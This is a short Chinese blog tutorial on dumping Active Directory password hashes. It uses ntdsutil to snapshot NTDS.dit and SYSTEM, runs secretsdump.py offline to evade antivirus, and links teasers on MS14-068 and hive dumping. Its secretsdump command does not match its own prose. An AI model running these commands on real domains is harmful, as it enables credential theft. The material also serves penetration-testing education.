域渗透-脱域快照

已于 2023-05-05 20:04:45 修改
阅读量223 收藏 1
点赞数
分类专栏： 域渗透 文章标签： 哈希算法 散列表 算法
于 2023-05-05 19:44:32 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39289068/article/details/130513789
版权
NTDS.dit是WindowsActiveDirectory的重要数据库，包含用户、组和密码哈希信息。通过ntdsutil工具可以创建完整备份到本地，然后使用secretsdump.py脚本在离线模式下安全地跑哈希，避免在线操作时可能遇到的杀软阻止问题。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

简介

ntds.dit是主要的AD数据库，存放在c:\windows\NTDS\NTDS.dit，包括有关域用户，组和成员身份的信息，它还包括域中所有用户的密码哈希值，为了进一步保护哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
当我们拿到域控的权限后，我们可以跑域内所有的hash值，但是如果在线跑hash的话，是比较容易被杀软等软件阻止的，所以我们可以将NTDS.dit文件和SYSTEM复制到本地进行遍历。

利用

在域控上执行：
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

 

 只需要system文件和ntds.dit文件,下载到本地，离线跑hash

python3 secretsdump.py -sam /root/桌面/sam.hiv -system /root/桌面/system.hiv local

 

 

kvm常用管理域命令 克隆域 域快照
weixin_44839444的博客
04-29 573
一.使用virsh来管理虚拟机： 1.virsh的名称的含义是virtualization shell。它有两种工作模式： 立即模式： 交互模式： 2.管理虚拟机： virsh list all :显示所有域 virsh start vmtest01 ：开启域 virsh create /etc/libvirt/qemu/vmtest01.x...
内网渗透之域渗透
m0_57307920的博客
11-05 1221
当母公司的域账户想要登录到子公司的域中时，子公司的域由于信任母公司的域，所以子公司的域会听从母公司的域的域控制器的返回的access key。在一个域中，可能存在多个域控，这些域控不分主域控制器与备份域控制器，每个域控制器充当的是一样的角色，比如你有三个域控制器，你可以在任何一个域控制器上对用户的权限进行修改，你的修改将被复制到其他两个域控制器中，这样，如果一个域控制器发生了故障，只要其他的域控还能正常工作，整个域还是可以正常运行。如，对应的服务类型叫什么，机器名是什么，服务端口号是多少等等。
内网渗透-域快照
Ping_Pig的博客
07-08 446
讲在前面 域快照的部分方法如下 ntdsutil工具：域控制器自带命令 命令1： ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit 命令2： ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
域控安全之域渗透
dzqxwzoe的博客
02-21 412
在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件，所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样，是被Windows操作系统锁定的。
内网中提取域控的密码的哈希值
https://www.cnblogs.com/zpchcbd/
09-11 1165
在渗透测试中非常常见，其中已实现域管理员访问以提取所有域用户的密码哈希以进行脱机破解和分析。这些哈希值存储在域控制器（NTDS.DIT​​）中的数据库文件(并且受保护 无法进行直接复制等操作)中，并带有一些其他信息，如组成员身份和用户。 NTDS.DIT文件位于：C:\Windows\NTDS\NTDS.dit 可以使用各种技术来提取此文件或存储在其中的信息，但是大多数技术都使用以下方法之一：...
离线提取域控HASH的方法
weixin_30385925的博客
02-28 792
1、注册表提取 提取文件，Windows Server 2003或者Win XP 及以前需要提升到system权限，以后只要Administrator权限即可。 reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security secruity.hive 本地获取 #如果要提取明文，请修改注册表 ...
域渗透之Pass-the-hash
ToyCarryYou的博客
04-24 1224
域渗透 什么是AD域 AD的全称是Active Directory（活动目录） 是指windows服务器操作系统中的目录服务，它被包含在大多数windows sever操作系统中，负责集中式域管理及身份认证。AD域中是每个Windows域网络的基石。他负责存储域成员（包括设备和用户）的信息，验证其凭据并定义访问权限。运行此服务的服务器称为域控制器。AD域架构的常用对象包括以下四种 1.**组织单位...
域渗透技巧
Gamma_lab的博客
08-06 752
内网域信息收集 SPN的发现 前言： 由于每台服务器都需要注册用于Kerberos身份验证服务的SPN，因此这为在不进行大规模端口扫描的情况下收集有关内网域环境的信息提供了一个更加隐蔽的方法。 工具： SetSPN查询： windows系统自带的setspn可以查询域内的SPN #查看当前域内所有的SPN： setspn -Q */* #查看指定域xie.com注册的SPN： setspn -T xie.com -Q */* setspn -X删除指定SPN 查找指定用户/主机名注册的SPN：setspn
内网拓展——域渗透之ms-14-068利用
cxrpty的博客
03-30 1328
实验条件： 1.必须知道域 2.必须知道域的账号密码 3.sid 4.域控 实验步骤： 一、利用ms-14-068漏洞进行票据伪造 1.获取普通域用户的sid whoami /all 2.获取域名和域控名 ipconfig /all net view /domain或net time /domain 3.上传14068py.exe,输入命令进行票据伪装，生成...
渗透测试--信息收集
2302_80097039的博客
07-27 745
CMS：快速搭建网站的内容管理系统，系统模板Web应用框架：快速二次开发的Web应用框架，例如网站，小程序。
关于计算机脱域
weixin_34041003的博客
04-12 4046
计算机脱域的主要原因是：域中的计算机的密码和域控制器上存储的密码不一致。默认window2000之后，所有计算机会每30天发起密码更改。具体请看下面的连接先这个链接：https://redmondmag.com/articles/2014/04/21/domain-trust-issues.aspx然后看这个连接：https://blogs.technet.microsof...
第6章域控制器安全
热门推荐
willow_liang的博客
12-28 1万+
目录 第6章域控制器安全 6.1使用卷影拷贝服务提取ntds.dit 6.1.1通过ntdsutil.exe提取ntds.dit 6.1.2 利用 vssadmin提取 ntds.dit 6.1.3利用vssown.vbs脚本提取ntds.dit 6.1.4使用ntdsutil的iFM创建卷影拷贝 6.1.5使用diskshadow导出ntds.dit 6.1.6 监控卷影拷贝服务的使用情况 6.2导出ntds.dit中的散列值 6.2.1使用 esedbexport恢复ntds..
从域控制器中提取Active Directory数据库(NTDS.DIT)
Ping_Pig的博客
10-23 3080
目录 讲在前面： 本地安全机构子系统服务（LSASS） 场景思考 注意 ntds.dit介绍：https://blog.csdn.net/qq_41874930/article/details/108141331 部分方法如下： 使用NTDSUtil的Create IFM在DC上本地捕获ntds.dit文件 使用VSS卷影副本远程拉ntds.dit 使用PowerSploit的Invoke-NinjaCopy远程拉ntds.dit（需要在目标DC上启用PowerShell远程处理） 注意
史上最强内网基础总结
xingxuxingxu的博客
08-29 395
内网
代码随想录算法训练营Day31 | 56. 合并区间 738.单调递增的数字
m0_74154872的博客
04-26 259
一个不重叠的区间数组，该数组需恰好覆盖输入中的所有区间。表示若干个区间的集合，其中单个区间为。请你合并所有重叠的区间，并返回。当且仅当每个相邻位数上的数字。的最大数字，且数字呈。时，我们称这个整数是。
代码随想录算法训练营Day39
最新发布
lololo的博客
04-30 703
力扣213.打家劫舍Ⅱ【medium】 力扣543.二叉树的直径【easy】 力扣124.二叉树种的最大路径和【hard】 力扣337.打家劫舍Ⅲ【medium】
【Torch】MaxPool1d、MaxPool2d、MaxPool3d算法详解
zkw54334的博客
04-29 660
MaxPool1d 就是“挑时间窗口里最强的响应”来下采样——通道（特征）的语义不变，只有时间分辨率被压缩，从而提取局部最显著的时序信息并减少后续计算量。
基础排序方法
2301_79976271的博客
04-29 920
1.基本思想直接插入排序的实现，我们可以参考扑克牌的排序当我们要将新的牌插入现有牌堆时，保证当前手中的牌堆有序，再将新的牌与牌堆中的值进行比较，在进行比较与交换后，现在的牌堆就有序了。2.具体实现我们先进行单趟排序的实现，假设[0,end]的元素有序，这里即设第一个元素为有序的。此时要进行排序的元素为a[end+1]，将该元素依次与现有的有序牌堆进行比较。若当前值小于end处的值，交换。
(leetcode) 力扣100 4.移动零(两种O(n)方法 双指针)
qq_62235017的博客
04-29 204
博主采用的思路很简单，不管原始数组如何，最后得到的数组形式是一样的，前面一串非0数字，最后几个连续的0，那么就不需要考虑交换的逻辑，而是去把数字放到他最后应该存在的位置即可。这道题整体思路简单，但题目提到，不能新建数组，那么目的很明确了，就是要求你在O（1）的空间复杂度和O（n）的时间复杂度完成这道题。整体来说，对于没接触过或不熟悉双指针的人来说，官方题解虽然优雅，但还是具有一定的思维难度，大家多联系即可。给定一个数组 nums，编写一个函数将所有 0 移动到数组的末尾，同时保持非零元素的相对顺序。
Windows域环境构建与管理
如果要构建多域环境，即域林（Forest），则需要在两个主域控制器的DNS设置中添加对方的DNS服务器IP作为转发器，以实现不同域间的通信和DNS查询。 域环境的搭建和管理是一个涉及网络配置、身份验证、DNS解析、用户...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值